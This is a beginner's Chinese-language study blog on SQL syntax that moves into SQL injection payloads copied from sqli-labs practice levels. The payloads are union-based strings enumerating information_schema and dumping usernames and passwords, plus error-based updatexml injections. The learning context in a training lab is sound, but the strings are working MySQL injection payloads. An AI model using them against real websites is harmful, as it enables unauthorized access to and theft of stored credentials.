sql语句学习

sql语句学习

碎碎念:作为小白,Ctrl C Ctrl V一下自己学过的语句就可能记得会熟悉一点,也记录下自己的心路历程。先从sqli-labs里面的学习慢慢摘抄。(2019.4.19)

基础

select update delete insert into
create database alter database
create table alter table drop table
select 列 from 表
select * from 表
select LastName,FirstName from peqw
*选区所有列
Select distinct 列 from 表
select 列 from 表 where 列 运算符 值
Select * from persons where city ='北京‘
单引号括住文本,数值不用单引号
order by :默认升序排序, desc 改为降序
Select company from orders order by company
insert into 表 values(1,2,3,4…)
insert into table_name(列1,2,3)values(1,2)
updata 表 set 列 = 新值 where 列 = 原值
delete from 表 where 列=值

oracle:

select column_name from table_name 
limit number 

top:

select top number from table_name
select top 2 * from persons

like:

select * from table_name where columns
LIKE 'N%..'

select * from persons where * NOT LIKE '%q%'

通配符
% 代替一个或者多个字符
_ 仅代替一个字符
[]
例子:select *from * where * like ‘[ABC]’%
含义:选取以ALN开头的

In:
选取多个值 在where之后

between and 两个值之间的数据

between values1 and values2

Alias 指定别名

表:

select column_name from
 table_name   AS alias_name

列:

select column_name AS alias_name from
 table_name

join :
用于根据两个或多个表中的列之间的关系,
从这些表中查询数据。

select into 从一个表中插入另一个表中

Select * into **new table** from **old table**

语句

先搜刮一遍天书和其他大佬的sqli-labs的注入语句,自己能用到就去试试。

一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。

这是在“灰色世界的阿信”的sqli-labs博客里面看到的,“一直”应该是“一致”。

再找天书里面的

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

就强调字段数和类型一致才能查询到。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

白话翻译:搜索(column)从(table)同时联合 搜索(column)从(table)
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

怎么说呢,注释这里不是很懂,大概意思是搜索一个值但是在两个不同的表中?所以要用到all?到时实际运用的时候,再来更新这部分。

SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

我们看下一个,经常用到的

ORDER BY

order by 语句用于根据指定的列对结果集进行排序。

order by 语句默认按照升序对记录进行排序。

举例

SELECT Company, OrderNumber FROM Orders ORDER BY Company

从company这个表单中查找company和ordernumber。但是这后面还有一个Orders,这个是源代码里面的东西,照做就好了。

其实我看一些大佬,在做sqli-labs刚上来就爆数据库什么的,那时确实不好理解,现在稍微理解一些了,就先摘抄下来。
爆数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata--+

其中的1和3,是什么呢?让我们去百度一下,查询gruop_concat这个函数。

我们首先查到concat 是字符串连接函数,大概意思就是把所有字符串显示出来(吧?)

问了下琳姐,说select是因为表单有三项,我这引用的是sqli labs的less-1,当时刚好有三项,回显是查找的东西会显示在页面上的name和password,所有要把这个放在第二项。

刚刚被琳姐批了很不爽,但是好像又懂了一点什么,是先实验找出这个的表示方法,再根据回显,把函数放在特定的某个位置让其回显。

我在这找到另外一个爆数据库的,让我们看看有什么不同

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

后面多了一个database()
没错让我再去看看

爆数据库的数据表
在找到了数据库的时候再爆数据表

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ 

这里不过多解释了,还是以less-1为例子的。

我在这找到另外一个查询语句,我们来看看有什么不同

爆列

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+

这里可以盯着多看几次就看熟悉了。
爆数据
union select 1,username,password from users where id=2--+
忘记说了
“–+” 这个是注释符,把后面的全部注释掉了

自己试了一下还是很好用的嘿嘿嘿。

先写到这

——————————————————————————————————————————————————————————————————————————————————

好的跨入到less-6盲注部分,又有特别多的语句要学习了,想想还有点小兴奋的呢

爆数据表

 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆字段

 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

注意事项
0x7e是16进制转字符串的~。

有时候遇到数据内容多了显示不完,我们就要限制内容

limit是mysql的语法 select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录 n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录

有几个mysql内置的函数需要记住:

length(str):返回str字符串的长度。

substr(str, pos,len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

你可能感兴趣的:(sql语句学习)